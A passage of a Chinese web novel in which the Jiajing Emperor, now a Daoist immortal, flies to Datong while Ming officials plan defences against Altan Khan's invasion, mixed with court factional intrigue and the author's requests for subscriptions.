“那么朱纨案……”在场的都是聪明人,说话点到为止,只是高拱看向徐阶的目光中,已经全是不满了,不过该有的体面还是要有。 毕竟他们如今就是一条船上的人。 在皇上的圣意没有下达,事情没有结果之前,必须要保全裕王殿下的实力和颜面。 “当初,有些人找上了严嵩…而考虑到朱纨又是我的人,所以严嵩为了打压我,便顺水推舟,默许了百官弹劾,而没有镇压。” “毕竟那时的朱纨,已经圣眷正浓,浙江巡抚,皇上还给了他‘便宜行事’的特权,权势滔天,不是浙直总督一类,也差不多了。” “之后再进一步,这位年纪轻轻的封疆大吏便会入阁,我的势力便会壮大,这是严嵩所不能容忍的。”徐阶说着点了点头,不再言语。 然而在场的都是老油子,人精一样的人物,哪里想不到另外一层意思。 东南官员走通严嵩的关系,严嵩顺水推舟,不去管百官弹劾朱纨,任由朱纨被一次次诬陷,正如朱纨死前所说,他不自杀,闽,折地区的官员,士绅家族也会要他死一样。 朱纨,注定了要死! 那徐阁老呢,在整件事中扮演的什么角色?似乎面对严嵩,毫无反抗之力。 那为什么不是他也在顺水推舟呢?当然,只是这些不论如何,都是猜测,根本没证据。 “我明白了。”高拱听完后,直接不再说话了,低眉垂目,但心中已经是千般计较浮现。 “徐阶跟东南牵扯太深了,若是想要保住裕王,怕是只能舍弃他,割掉一大块烂肉,只有如此,若裕王殿下一系真的败了,还能有挽回余地。”高拱心中暗暗谋划着。 也是这一刻,原本抱团的清流派系,终于还是因为彼此目标,利益等等原因,在大厦将颓之前,第一次出现了分歧。 景王府,大殿上。 “……所以说,”严嵩缓缓开口,道:“我在顺水推舟,杀朱纨。而徐阶也在顺水推舟,借我的手杀朱纨,呵!” 严嵩说着,哼笑一声,道:“这算是我们彼此的一次默契吧。” 听到这里,景王嘴角微微一动,看向严世蕃道:“不管怎么说,这次小阁老功不可没。” “给父皇心里埋下了一颗怀疑的种子,一旦父皇要查,那么必然会掀起‘庚戍大狱’,以此为借口,整顿吏治,朱纨案是引子!” “这是绕不开的一个关键点!” “我们接下来要做的就是……”说着,景王看向严嵩,道:“严阁老以为呢?” “等。”严嵩慢吞吞的吐出一个字。 “而且,还有一件事,那就是我始终想不通,皇上到底为什么要激怒蒙古人……”严嵩说着,满是老年斑,沟壑的脸上表情沉凝。 “爹,会不会是皇上大限将至,想要一雪前耻?在自己离开前,赢一回?”严世蕃问道。 “不会,这个风险太大了。”严嵩摇了摇头,道:“即便现如今大明边防的军需足够,即便应德、王崇古都在大同。” “我们还有清流一方的能臣武将都在。” “可以说,边境如今的军事势力,已经是我大明现如今大明最强了。” “但皇上此举,无疑激怒的不光是俺答,怕是还会激怒兀良哈各部。一旦俺答集结精锐大军南下,怕是挺不住太久……” 严嵩说着,微微摇头,道:“自从确定皇上大限将至以来,他的每一步棋都出乎我的意料之外,这一次更甚,我完全看不透……” “所以,我们如今只能等了!” “不管怎么说,可以肯定的一点是,父皇绝对不会拿整个大明当儿戏就是了。”景王微微摇头,拿起茶盏轻抿了一口,道: “严阁老说的对,等就是了!” 这一刻,严嵩对皇帝的揣测,彻底变成了一片空白。 当然不光是他,清流一方也一样。 没有人能想明白,皇上这一招的目的何在,因为他们完全看不到此举的任何好处。 甚至,不但不会有好处,反而会为大明招致前所未有的灾祸。 …… 时间飞逝,匆匆数日。 一封内阁拟定,礼部起草的告示,出现在了宣大总督唐顺之、以及大同巡抚海瑞的桌上。 “嘉靖四十年八月初五,国师仰观星象,见荧惑有入舆鬼之兆。 《黄帝占》曰:荧惑入舆鬼,有兵丧,金玉用,有大赦;及留守之,物贵,天下大疾疫…今北辰异动,预示天灾将至,恐有瘟疫蔓延。 为防患于未然,确保京畿及边疆百姓安宁,特此宣布: 自即日起,凡通往北境之互市一律封闭,非奉旨不得开启。凡居住于边疆之蒙古族众,须于三日内撤离大明境内,以免灾祸波及。 此举旨在保障民生。望诸位理解,勿起争端。如有不服者,将依法处置。礼部……” 看完这一份简短有力的告示,海瑞眉头深锁,片刻后他目光一凝,“若是如此,俺答甚至是兀良哈各部也会集结精锐于边疆。” “可以边疆如今的兵力,若真如此,真打起来,怕是会很吃力,一不小心甚至…除非这告示上说的天灾,真的会出现……” “莫非!”突然,海瑞心中一怔,想到了某种可能,一双眸子陡然瞪的老大,失声道: “莫非,皇上此举,是故意诱俺答来犯,以此断送俺答等蒙古各部的精锐?” 知道皇上修仙的海瑞,看到的自然比其他人多,嗯,这就是信息层面的碾压了。 更是因为见识过仙人手段,所以海瑞知道若是皇上亲自出手,对凡人来说岂不就是天灾? 突然,海瑞像是想到了什么,起身在一旁的额书架上,在一众占星、佛道典籍中,取出了一本《后汉书》,直接翻开早就记录的一页。 “夜有流星坠营中,昼有云如坏山,当营而陨,不及地尺而散,吏士皆厌伏……” “若是皇上他,也能招来流星,那蒙古各部就算有再多,再强的兵力也无济于事……凡人之力,岂可与仙神比肩?” 一想到‘后汉书’上记载的,光武帝刘秀打败逆贼王莽的种种事迹,再想到不久后,俺答来犯,皇上招来同样的流星轰杀来敌的场景,海刚峰那颗钢铁般的心,又晃动了起来。 嗯,这一次,是激动,甚至是期待? “呵,”海瑞不由失笑,自语道:“没想到,我海瑞竟也有如此好战的一面……” “就是不知道,皇上什么时候动手,我是否也能亲眼目睹到那等风景?” 海瑞心中隐隐期待了起来。 一连十数日,转眼,时间来到了嘉靖四十年,九月初! 这一日,一匹快马疾驰驶入大同城门,同时高声吼道: “开门!敌军来犯,速备城防!” “俺答率土默特部、兀良哈三卫,大军来犯,敌军已向阴山山脉集结大军!” 探哨的嘶吼声,彻底打破了本就不平静的大同镇。 “轰!” 一时间,整个大通镇,军民哗然,这一日,大同镇彻底骚乱了起来。 俺答所率的土默特部、兀良哈三卫,竟集结精锐大军于阴山山脉。 阴山山脉,因其特殊的地理位置,可以说是兵家一个理想的集结地点。 此外,阴山距离大同镇也不远。 因此,它不仅可以提供良好的隐蔽条件,还便于大军的集结和调动。 俺答想要入侵大同,选择阴山山脉作为集结地点,所有人都不意外。 半日后,消息通过飞枭从大同传出直入兵部,看到消息的兵部尚书冷汗直流,而后内阁第一时间在文华殿召开会议。 同一时间,玉熙宫中。 吕芳也拿着刚到的消息,入了偏殿,声音急促道:“主子,边关急报!” 闻言,正在闭目打坐的嘉靖双眼缓缓睁开,抬手接过吕芳递来的消息。 “这次既然来了,那就永远埋葬在阴山吧。”嘉靖语气平静,但吕芳却是心脏狠狠一跳,他知道从今以后,阴山必将出现一道奇观! 史书上,也会因此而多上浓墨重彩的一笔,嗯,如果那时候,还会觉得这是奇观的话。 “……” 第一百零三章 紫气东来三万里,函关初度一人行。海瑞:皇上?!(求订阅) 翌日。 天大亮,玉熙宫,灵田小院内。 此时的嘉靖,已经换了一身行头。 嘉靖穿着的是一件特制的玄色道袍,不同的是这一套长袍是件斗篷,上面绣着简约的金色道家真言,看起来贵气又不失庄重。 同时,让他看起来多了不少神秘。 嗯,这种行头打扮,在修仙界的四方城,可没少见那些散修,或是门派弟子也这么打扮。 就算是在大明,跑江湖的,卖艺的,或是神秘行事的人,也都有穿斗篷的习惯。 看着眼前的主子,吕芳心中也满是期待。 嗯,他可是知道的,主子这次是要上天,直接飞往大同的。 “这可是飞天啊,我什么时候也能像主子一样,拥有这等本事……”吕芳心中感慨而期盼。 自古以来,飞天是多少人心中幻想的,传说中的嫦娥奔月,天宫、九重天的仙神传说…… 哪个不让凡夫俗子遐想连篇? 吕芳对天上是什么风景,自然也好奇的紧,可惜的是,他修为不到家,用主子的话说,若是他修为达到练气一层,倒也可以带着他一起。 虽然如今他已经是引气入体,算是一个入门的修仙者了,可在炼气期看来,依旧是凡人。 上天后,飞的低了倒是可以,但若是飞入云层,没有足够的修为,他扛不住的。 难不成,还要让主子为了照顾他,带着他这个累赘,特意飞低了,降低主子身份? 在吕芳看来,自家主子那就是九天之上闪耀的星辰,就应该立于云端! “不用羡慕朕,好好修炼,你也可以飞天。”看着激动的吕芳,嘉靖轻笑一声,而后摊开手掌,小巧精致的“御空符”出现,被他双指夹住。 心念一动间,指尖灵气注入,只听得“嘭”的一声轻响,符箓陡然化作一团金色的清风,直接涌入嘉靖身体之中。 符箓入体的瞬间,嘉靖只觉得冥冥中,自己似乎被赋予了某种能力,仿佛与生俱来一般。 就好像是饿了会吃饭,渴了会喝水一样,与生俱来,他的脑海中就一个念头。 那就是自己可以飞行,只要自己想,运转灵气,自己就能飞起来。 “不愧是高阶符箓,果然神异!”饶是嘉靖知晓这高阶符箓的强大,此刻第一次使用后,也不由的在心底暗暗惊叹。 压下心中新奇感后,嘉靖大手一挥,大袖一甩,澎湃的灵气裹挟,将他周身衣袍鼓荡的哗哗作响,整个人看起来像是要飞升一般。 “走了。”说着,嘉靖一步踏出,化作一道虹光,直冲天际而去。 “奴婢恭送主子帝君。”吕芳躬身说道。 没有人注意到,玉熙宫内一道黑线直入九霄而去。 …… 宣大总督大同行辕。 (注:行辕,指古代或战乱时,移动性的简易住所。在明朝,行辕被用作高级官吏在某一区域所开设的官署,用于商议、指挥军事。) 此时,最上方高大案桌上,坐着一名身材魁梧的五旬老者,须发皆白,面容黝黑。 一张国字脸上,满是严肃,炯炯有神的眸子里,隐隐有凶光浮动。 这名老者不是别人,正是宣大总督,唐顺之,字应德。 而在大堂两侧,左边坐着总兵王崇古,以及他的副总兵、参将和游击将军等武官。 右边则是文职官员最高长官,也就是大同巡抚海瑞,身边的参政李志远和副使王安国。 在大堂的中间,摆放着一张巨大的案桌,上面摆放着一些公文,兵书,还有一些地图卷轴。 此时,所有人汇聚一堂,整个行辕大堂中的气氛,可以说是无比的凝重。 而众人商讨的也只有一个,那就是如何应对这次蒙古人在阴山山脉处,集结兵力一事。 “都说说吧,这次蒙古人在俺答的率领下,集结大军于阴山,我们该如何应对?”唐顺之并未急着表态,而是先看向下方众人。 说完,又对着下方众人补充,道:“事急从权,不必拘泥于官职,有想法都说出来。” 下方这群官员,全都是这大半年来,内阁清流和严党两方势力,调兵遣将而来。 而为了更好的与彼此决一死战,双方可以说是,都将自己能调动的精锐都调了过来。 可以说在座的,没有一个是孬货。 随便拎出来一个,不论是文官,又或者是武官,都可以充分利用自己的优势,在各自擅长的领域,有一番旁人无法比拟的建树。 “我认为,俺答这次来犯,应该不是简单的想要向大明施压!”大同知府张远明率先开口。 张元明,剑眉星目,天庭饱满,四十多岁,看起来颇有几分儒雅气度。 他是年初的时候,被严嵩派来坐镇大同的,可以说是严党一系的核心圈层了。 以他的能力若是在京城,至少也是六部要职,但为了与清流这一战,他甘愿做个小小的知府,针对晋商的打压政策就是他一手督办。 见张远明开口,众人也都把目光,朝着他投了过去,虽然这里比他官大的人很多,但没人会小瞧了这位大同知府。 “如果只有俺答率部众而来,大概率是想要对大明施压,从而换取一些利益。” “但这次,他还与兀良哈三卫一同在阴山集结大军,足以看出蒙古人这次所图必然极大。” 说到这里,张远明的语气凝重下来,“以防万一,我们必须要做好开战的准备!同时还要做好提前调兵,绝对不能让俺答突破防线!” 一番话说完,众人都是微微点头。 张远明所言不无道理,他们都能看得出来,俺答这次是团结了兀良哈三卫,并不是自己一方集结兵力,显然所图很大。 而且至今没有来使者商议,而是直接集结大军,要开打的意图不要太明显了。 如此他们自然也要做好开战的准备。 “我同意张知府所说,”大同总兵,经常跟蒙古人作战的王崇古,也跟着开口,“根据前线探哨来报,敌军总兵力大约有八万!” “并且已经开始在阴山山脉部署进攻路线。其中有三万至五万是主力军。” 说着,王崇古干脆起身,来到中间那张大桌前,大手一挥,地图直接铺开。 见此,随着唐顺之也走下高座,众人也都跟着起身,来到了大桌前,围着地图。 “此处便是阴山!”王崇古并指如剑,在地图上,标着阴山的位置画了一个圈,道: “我们可以利用阴山山脉的地形优势,构筑坚固的防线进行坚守,同时准备足够的兵力进行反击。”说着,他看了众人一眼,开口补充,“我们的身后是京师,绝对不容有失!” “嘉靖二十九年的事情,绝对不允许再出一次,所以这次务必要保守一些!” 说着,王崇古看向宣大总督唐顺之。 “不错!”唐顺之不但是个优秀的将领,同时,他还是一个合格的文臣,孰轻孰重,取舍有度的道理,他自然是最清楚的。 这个时候,别说大明兵力并不能硬拼,就算能硬拼,也绝对,绝对不可以主动出击。 一旦敌军来犯,必须要稳扎稳打! “最好是骑兵!”见唐顺之同意,并未利用权职横加干预后,王崇古这位清流派的将领心头略宽,对这位严党一些的封疆大吏有了些好感。 再一看围在边上的其他严党一系的官员,一个个都是眉头紧锁,认真思考的模样,王崇古也觉得心中突然有了一股劲。 同时不禁感慨,严嵩手下还是有能人的。 “这里,”收起心中所想后,王崇古眸光深邃,眼底有精光不断浮动。 一双虎目在地图上飞速扫掠过,找寻有利地形,刚要开口,就见唐顺之指着一处地势,道:“主力防线,可以部署在此!” “大青山、乌拉山,”唐顺之指了指两处地点,而后又用指尖在地图上画了一条线,道: “这些关键地段,地形险峻,是最佳的构筑坚固防线地势!”说着,唐顺之对王崇古一笑。 王崇古先是一愣,而后眼神中闪过一抹敬佩之色。 他没想到这位被严嵩寄予厚望,号称与严党在东南支柱胡宗宪齐名的唐顺之,竟也是个军事大才,而且看他的样子似乎早有研究。 “我在接到坐镇大同的时候,就在钻研假想与蒙古一战。”唐顺之随口解释了一句。 “王总兵还有什么部署,可一次到来。”唐顺之目光从地图上收回,说道。 南倭北虏,二人都是对抗外敌的名将。 此刻三言两语间在战略部署上看透彼此的深意,一时间竟有种心心相惜之感。 不由地,王崇古只觉得痛快不已。 “除了在大青山,乌拉山设防之外,我们还需要迅速调集大批主力步卒,再辅以炮兵和骑兵,以确保防线的稳固和火力支援。” “还要设立多个防御阵地和火力点,”说着,王崇古拿起笔,在地图上画了一个圈,标注好大青山,乌拉山等地,同时在两侧标注,“形成交叉的阵型,防止敌军突破防线。” 王崇古,不愧是沙场老将,在最短的时间内,迅速的规划好了一套防御阵线加固的部署。 在场的没有庸才,即便是海瑞等文官,此刻也是被二人带着用最简单精炼的语言,说的脑海中隐隐有了一个坚固的防御阵线的雏形。 这就是名将的能力,说的话,即便让对战略部署不甚熟悉的人听了,也能看出厉害,让人无可辩驳,深以为然。 “不知总督,可还有要补充?”王崇古看向盯着防御阵线的唐顺之。 直觉告诉他,这位大才必然还有后话。 “其实,还可以组建一支单独的精锐骑兵,主要负责侦察、侧翼攻击和追击任务。” “这支骑兵应分散部署在主力防线的两翼和后方,”唐顺之说着,指了指交叉防线的两侧,“随时根据战场形势进行灵活调度。” 听到唐顺之的话,王崇古眸光一闪,“总督此举,恐怕不光是为了掩护防御吧?” “不错,”唐顺之点了点头,道:“虽然我们为了京师的安全,主要任务就是防御,跟蒙古打消耗战,稳重的将其拖入泥潭后耗死。” “但一味的死守,并非明智之举,需要适当的引导,和诱敌,确保将其钩住!” “而这支精锐骑兵,需要对敌军进行快速反击和侧翼攻击。通过灵活的战术调动和火力支援,打乱敌军的进攻节奏和部署。” “让其疲于应付,不得不分散主力!” “好!”王崇古道了一声,心中对唐顺之在兵法战术上的灵活感到佩服。 确实,一味的死防死守,那敌人也会集中兵力,甚至还能分出兵力从其他面进攻。 若是他们主动骚扰攻击,再加上地势辅助,反而是一种更好的防御战略。 “另外,还要确保辎重大军的安全和物资供应的畅通无阻。” “必须要在关键地段,设立后勤补给,储备足够的粮草、军械,为前线提供支持。” 说着,唐顺之看向一旁的海瑞。 大同巡抚在设立之初开始,便逐渐承担了提督屯粮及各仓场粮草等项的职责。 因此,确保后勤粮草到位这些,都是由海瑞这个大同巡抚来操办。 海瑞的为人,唐顺之自然知道。 说一不二的“海笔架”之名,众人也都知晓。 虽然来了大同后,这位“海笔架”的行为,有些反常,但在处理鱼肉百姓,贪官污吏上,他似乎依旧是那个“海笔架”。 所以,将粮草这些后勤补给,交给海瑞,唐顺之还是很放心的。 “总督请放心,海瑞定当确保前线所需一切物资,不会有分毫的差池!” 虽然心中已经猜到这场仗,应该打不起来,但海瑞还是尽到为官的本分。 “诸位!”得到海瑞的保证后,唐顺之也不废话,看向所有人抱拳道:“边防现如今的总兵力精锐,只有五万人,算上那些可征用的军民,加起来也就六万人不到!” “一旦敌军进攻,开战的话,除开坚守前线防御的主力外,还要分调出一到两万人!” “即便我们制定了坚守的防御部署,但这依旧是一场消耗战,而我们的目标是消耗敌军,一旦后方有哪一个环节出错……” 说着,唐顺之沉声道:“就会导致前线防御的崩塌,那时我们将不得不与蒙古大军,正面开战,若是增援赶不到,大明危矣!” “我不管你们是谁的人,又是谁的门生,”唐顺之虎目环视每一个人,冷声道:“若是有人趁机作乱,这个时候还想着内斗……” “那么,就休怪唐某不客气了!”说话间,唐顺之一双虎目盯着每一个人,眼神中凶光展露,仿佛是一只择人而噬的恶虎。 “吼!”这一刻,行辕大堂里,无形中似是有虎啸响起,这位沙场老将这一刻爆发的气势,饶是让那些武官,都心中一凛。 这一刻,无人敢与之对视! 唐顺之跟胡宗宪一样,对局势的把握,看的比任何人都要清楚。他知道北境的屯兵兴农国策,其实就是严党和清流双方的一次博弈。 如今的北境,会演变成这番局势,在他看来,也是两派争斗的结果。 如果这个时候,任何一派想要致对手于死地,那么只要让前线崩溃,就算是完成了。一旦事后追究起来,那绝对是不可饶恕的罪孽。 当然,让唐顺之放心的是,好在大同巡抚是海瑞,这个有着“海笔架”之称的好官。 来之前,严阁老已经跟他说过了,海瑞就是一把双刃剑,可用,但也要防备。 而这把剑,其本质就是一把天子剑。 天子剑的意思,不言而喻了,这说明海瑞是皇上的人。 既然是皇上的人,那自然不用担心他会站严党或者清流任何一方,必然会以大局为重。 大后方有海瑞坐镇,解决了他的后顾之忧,至于前线的王崇古,虽然也是清流一方,但唐顺之自信,有自己在,这个总兵掀不起风浪。 因为边关军权,都在自己手上,能调动大军的也就自己跟海瑞这巡抚二人。 是的,虽然欣赏王崇古,但这并不意味着,唐顺之就会对其完全信任。 这就是他,上了战场,便一切以战事为重。 “请总督放心,我等定当齐心协力,配合总督与海抚台,坚守我大明边疆!” 一众官员齐齐抱拳,各个面色郑重。 海瑞看着各个神色宁凝重,通力协作的一众代表着两派的官员,心中也不禁感慨。 “两派皆为能臣,奈何为贼!” “不思为国效力,为君分忧,却想着党争,好在皇上得了仙缘!” “清流也好,严党也罢,终将会为皇上所用,不至于大清算的时候,白白损失人才…不能只用严党,也不能只用清流。” 海瑞的心中,隐约间似乎明白了一些东西。 从行辕出来,一路坐着轿子返回巡抚衙门的海瑞,安排副使王安国和参政李志远下去准备一切军需后勤所需后,再次来到了后堂。 嗯,他要向皇上,禀明边关之事。 然而他刚到后堂书房,就见一道人影负手而立,背对着他。 此人一些玄色斗篷,身上隐隐有种说不出的意味,这样的人,海瑞从未在大同见过。 最重要的是,此人如此打扮,太过异于常人,想到如今两方或许会开战,海瑞面色一冷。 “何人!?”海瑞呵斥道。 “紫气东来三万里,函关初度一人行……”就在这时,随着神秘人缓缓转身,一句轻松惬意的打油诗幽幽的从斗篷下传出。 而听到这个熟悉的声音的瞬间,海瑞浑身猛的一怔,瞪大着双眼,不可置信的看着那缓缓转过身来的神秘人,呼吸都不由一滞。 “皇上?!” “……” 本章5K+,求首订,还有更新,今天万字起步,上不封顶~~~ 第一百零四章 海瑞,仙帝坚实的拥趸!狂悖的俺答!朕临阴山!(求订阅) “嘭!”几乎是瞬间,反应过来的海瑞来不及多想,直接上前跪在了地上。 “臣,海瑞,恭迎圣驾!” 海瑞惊了,他怎么也没想到,自己竟然会在大同看到皇上亲临。 虽然他已经猜到,皇上可能要出手,将整个蒙古来犯敌军葬送,可没想到皇上会亲临。 难道不是大手一挥,无上仙法塌天而落,就像是史书上记载的那样,招来无穷流星? 嗯,不得不说,海瑞对嘉靖的期待有点高了。 “起来吧,”嘉靖说着,褪下头上的斗篷,坐在桌前,看向已经恢复平静的海瑞,凝视他片刻后,轻笑一声,道:“很惊讶?” “皇上玄修成功,乃是人间唯一仙……”海瑞深吸一口气,压下心中的震惊说道。 “朕就知道你海瑞有话说,你要是没话说,你就不是海瑞了。” 看着海瑞这一副欲言又止的模样,嘉靖微微摇头,道:“有什么话就说吧,朕恕你无罪。” “皇上,您不该亲自前来。”海瑞拱了拱手,言辞恳切道,说着见嘉靖静静的看着自己,海瑞又继续道:“吾主圣明,乃万民之主,天命所归,非同小可,此为一。” “吾主亲临边疆,臣惶恐不已。” “皇上之身,系天下安危,一旦轻离皇城,万一有变,将使万民无所依归。臣未能及时劝阻,此乃臣之失职,此为二。” 两句话,先说明嘉靖的重要,又表明皇上行为,他为臣子无法干预,但没能劝谏是失职。 一番话,说的耿直,但却也恳切肺腑,让人听了舒服不已。 这就是海瑞,他是刚直,但他并不迂腐,反而行事上,很有章法。 说着,海瑞语气微微一顿,又缓声道:“传闻,昔年黄帝登崆峒,问道于广成子。” “终得仙法,飞升于九天之上。” “又传闻,周穆王驾八骏,游昆仑,遇西王母,亦得长生之术。” “彼等皆未轻现于人前,唯以神迹示人,方能彰显其神圣不可侵犯,这些只是传说。” “现如今,吾主真仙之尊,超脱凡尘,与天地同寿,更应保持仙道之神秘。” “《道德经》云:道常无名,朴虽小,天下莫能臣也。仙人之道,在于无形无象,不以形色示人。” “若轻现于世人之前,恐有失仙道之秘,令人间纷扰不绝。” “仙人之道,在于引领众生,而非直接干预俗世。故此,仙人不可轻易现身,以免动摇凡人心志,引起无谓之猜疑与恐慌,祸乱秩序。” 海瑞说着,神情间也越发的肃穆。 这些日子以来,他阅读了大量的佛道典籍,仙人传说,同时也在不断的思考。 思考,仙帝是什么样的?仙朝又是什么样的,仙朝之前,又该是什么样的? 没错,皇上修仙了,他身为臣子,就应该思君所思,想君所想。 最重要的是,自家这位皇帝,有时候说句大不敬的,就是太任性了。 修仙的皇帝,便是仙帝! 仙人之伟力无穷,若想大明铸就不世之仙朝,仙帝更需要严格律己,否则一旦率性而为,想做什么就做什么,那时便是塌天大祸。 是不世之仙朝? 是无边人间地狱? 无他,唯仙一念之间尔! 皇帝,本就是无法无天的存在,修仙伟力傍身的皇帝,只会更加的无视规则秩序。 规则秩序,在他手中,便是玩物! 若是一般的仙人倒也罢了,但成仙的是皇帝,身份注定了不可以任性而为。 但修仙的皇帝,又无人可以约束,也无人该约束,所以海瑞甘愿做个让仙帝厌恶的人。 海瑞敬仙,畏仙,自从知道皇上修仙,成为那传说中的仙人后,他可以说是日日优思。 甚至,他已经开始着手撰写一份新的‘仙朝治安疏’,意在规劝,只是尚未完成。 此刻,见皇上竟然亲自降临边关,海瑞心中感激皇上可以为万民而亲临,但很快便是对心中一直以来的担心出现而忧虑。 皇上在他心里,已经太过神圣不可亵渎了,仙帝临凡尘,海瑞不能接受。 嗯,海瑞,已经无形中,成了嘉靖最坚定,最狂热的拥趸,用后世的说法,就是狂热粉。对自己心中的偶像,有着狂热的幻想与滤镜。 只是不同于别人,海瑞将这份狂热,掩埋在心底,化作源源无穷的动力和忠心! “《庄子·逍遥游》中又言:至人无己,神人无功,圣人无名。” “仙人之身,犹如天际星辰,当在云端之上,照耀人间,而非落入红尘,与凡人同列。此乃仙人之大德,亦是天道之常理。” “皇上身为仙人,更应遵循此道,保持超然之姿,方能稳固仙帝之位,永保天下安宁。”说完,海瑞又一次跪在了地上。 凝视着跪在下方,满脸刚直,拳拳之心展露的海瑞,嘉靖沉默许久。 无形中,大堂内的气氛,变得凝重。 “海瑞,”嘉靖身子微微前倾,肃容俯视着海瑞,“你是要做本朝的魏玄成吗?你知道,李世民在魏征死后做了什么吗?” 说着,嘉靖双眼微眯,沉声道:“挖坟掘墓!” “李世民对魏征,不是没动过杀心的!” “皇上不是唐太宗,皇上是仙人,不会昏庸,不会听信谗言,”海瑞微微摇头,道:“臣也不是魏玄成,臣是皇上手中的一把剑。” “你明白就好,”嘉靖淡淡瞟了眼海瑞,“魏玄成是李世民的镜,但这面镜子只顾着照皇帝,却没有照到自己。” “放肆是君给的恩赐,不是他本身的价值让他拥有放肆的资格,李世民想,他才存在!” “魏玄成生前没有找到自己的镜子,他死后,朕希望他变成你海刚峰的镜子。” “朕希望,你通过他,能照亮本心,明白剑应该以主人的意志为尊,而不是束缚主人。” “除非,你将朕看做是那软弱无能的宋仁宗了?事事听士大夫的?毫无主见?以至于放弃变法,放弃唾手可得的一个新生的大宋?” 嘉靖自然知道海瑞忠心,但该敲打的还是要敲打。 海瑞是一把利剑,必须要给予警醒。 正如他规劝自己那般,他来警醒皇帝,那他自己呢? 人贵在自知,自知最难。 换句话说,那就是当局者迷了! 嘉靖可不希望有一天,自己亲手折断这柄宝剑。 而听到嘉靖这一番话后,海瑞也是心底猛的一怔,一股后怕的感觉从脊背而生。 莫名的,他只觉得一股寒意笼罩。 是啊,我规劝皇上,可我自己呢?我所言就真的是对的吗?我是否太过傲慢了? “起来吧,”见海瑞有所明悟,嘉靖也是很欣慰的,而后缓声道:“君贤臣贤,君庸臣贤可贵,君昏臣还能贤,方可千古留名!” “臣,明白了。”听到这番话,海瑞刚直紧绷的脸上,也不由松了松,眼神中有感激之色。 皇上刚才敲打了他,让他警醒,但同时也在赞许他的劝谏,给予了他肯定。 “俺答率大军来犯,你们有何应对?”嘉靖看向海瑞。 虽然他对蒙古大军的动向了若指掌,但关于大同这些官员的部署,还是要过问一下的。 “总督决定以防御为主,同时等待增援……”海瑞将唐顺之和王崇古制定的计划说了一遍。 “预计三日后,便会部署完成。”说完,海瑞看着嘉靖,又补充了一句。 “三日后,”嘉靖微微点头,双方大军部署调度,需要一定时间,三天时间倒也合理。 “抚台,抚台……”就在这时,院外突然传来一阵骚乱,伴随着的还有参政李志远的愤怒的声音,“俺答逆贼,狂悖无礼,狂悖无礼啊!” 听到李志远的声音,海瑞看向嘉靖,得到首肯后,转身将门打开一人缝隙,凝视着门口准备敲门的李志远,道:“何事?” 看着将门口死死堵住,不让自己进的海瑞,李志远眨了眨眼,而后眼底闪过一抹不屑。 这个海瑞,整天神神叨叨的,一有时间就把自己关在屋子里,求仙拜神,对此他已经习惯了,心中认定这个海瑞就是言过其实。 不过深谙官场道理的他,对上官依然保持着应有的敬畏,压下心中想法,拿出一张薄纸,晃了晃后,怒声道: “简直岂有此理,就在刚刚,藏匿于大同的蒙古人,满大街的散布俺答的挑衅文书。” “撒的满城都是,其中更是有对皇上的大不敬之言,您看!” 海瑞闻言,一把接过文书,上下一扫后,也是面色阴沉,想到书房里的嘉靖,知道这份挑衅文书瞒不过,只能点点头,道: “我知道了,命人将散布消息的蒙古人抓住,安抚民心,避免引起不必要的骚乱。这是俺答故意为之,就是要扰乱我方人心。” “是!”李志远拱了拱手,转身大步离去。 海瑞则是拿着文书,转身回到了书房,看着坐在上位的嘉靖,略一迟疑便恭敬的呈上。 嘉靖没有说话,抬手拿起文书看了起来,只见上面写道: “大同众官员知悉:” “尔等固守孤城,犹如井底之蛙,不知天下之大也。我大漠铁骑,纵横千里,所向披靡,尔等区区边塞小卒,何足挂齿?” “吾亲率大军,兵锋所指,无坚不摧。尔等若知进退,速速开城纳降,吾当保尔等性命;” “否则,吾挥师一击,尔等将尸骨无存,悔之晚矣!” “吾闻,尔朝嘉靖老儿闭关锁国,自绝于四方,此乃自取其辱之道也。” “更闻其深居简出,不理朝政,终日沉迷于求仙问道之中,亲信妖师,妄图长生不老。” “如此昏庸无能之君,如何能治国安邦?尔等为其效命,岂非自取灭亡?” “今吾特遣使送此书于大同军民官员,欲与尔等一决高下。” “尔等可有胆量?抑或只是缩头乌龟?” “尔等君主荒废朝政,听信妖言,致使国力日衰,民不聊生。尔等若能弃暗投明,吾当以礼相待,共谋大业。” “若尔等君主能亲临边疆虚心讨教,吾亦愿意亲其授帝王之术,教其如何治理国家,以保江山社稷之稳固。” “劝尔等好自为之,切莫自误……” “一次胜利,已经让这个俺答,丧心病狂了。”嘉靖语气平静,对文书中的挑衅,似乎并不动怒,但海瑞却明显感觉到了一股杀机。 同时,他心中也不由隐隐期待。 三日后,双方数万大军汇聚于阴山之外,蒙古精锐大军,突遭天谴,该是何等场面? “三日后,朕要贼夷尽灭!” “……” 本章3.5K+,还有更新,今天万字并不是中止…… 第一百零五章 黄金家族的荣耀,葬灭于阴山!(求订阅) 行辕中。 “嘭!”有副将一拳砸在桌上,怒声道:“狂悖贼夷,这是在羞辱我大明!” “蛮夷狂贼,老夫与他不死不休!” “总兵,末将愿领一万精锐骑兵,从左翼进攻,打穿那些狗娘养的!”有凶悍将领,怒目圆视,浑身上下都散发着凶气息。 “末将也愿意!” “还有末将,末将也愿意与夷贼一战!” 一时间,行辕大堂里,诸将激愤,这些人中有严党派系,也有清流派系。 都是两派拿得出手的绝对精锐。 能人,如何能行孬事?在一致为国而战,不需要关心利益,派系争斗,他们只想上战场,浴血一战,将军百战死,马革裹尸还。 这些,才是他们这些为将者的“浪漫”与追求。 俺答挑衅,就像是一只巴掌,狠狠抽在了每一个有血性之人的脸上,啪啪响那种。 他们怎么能忍?如何可以忍! “肃静!”这时,王崇古发出一声爆喝,顿时激动的一众将领都冷静下来。 “不过是些小把戏,尔等诸将,都是我大明精锐,饱读兵书,竟也能上当?”王崇古瞪着眸子,苍老的喝声,如炸雷般在每个人耳边响起。 “你们能有如此气势,我很欣慰。”这时,坐在上首位置的唐顺之面容微宽,轻抚了抚胡须,道:“这说明尔等不畏战!” “为将者,气势高涨,部下也会气势如虹,从你们身上,我对此战很有信心。” 唐顺之看着来自两派不同派系的将领,心中也渐渐放下了此前的一些成见。 边疆,对于朝廷来说,尤为重要。 若是这些将领都个个畏战如畏猛虎,那就算兵力再如何强盛,也会将仗打的一团糟,甚至是被敌人以少胜多,数万歼灭十数万! “不过,王总兵说的是,”唐顺之话锋一转,严肃道:“尔等都是饱读兵书,用兵法如吃饭喝水,岂能为这等伎俩所动?” “俺答此举,无非是想激怒我们,与之一战,扰乱我方军民之心。” 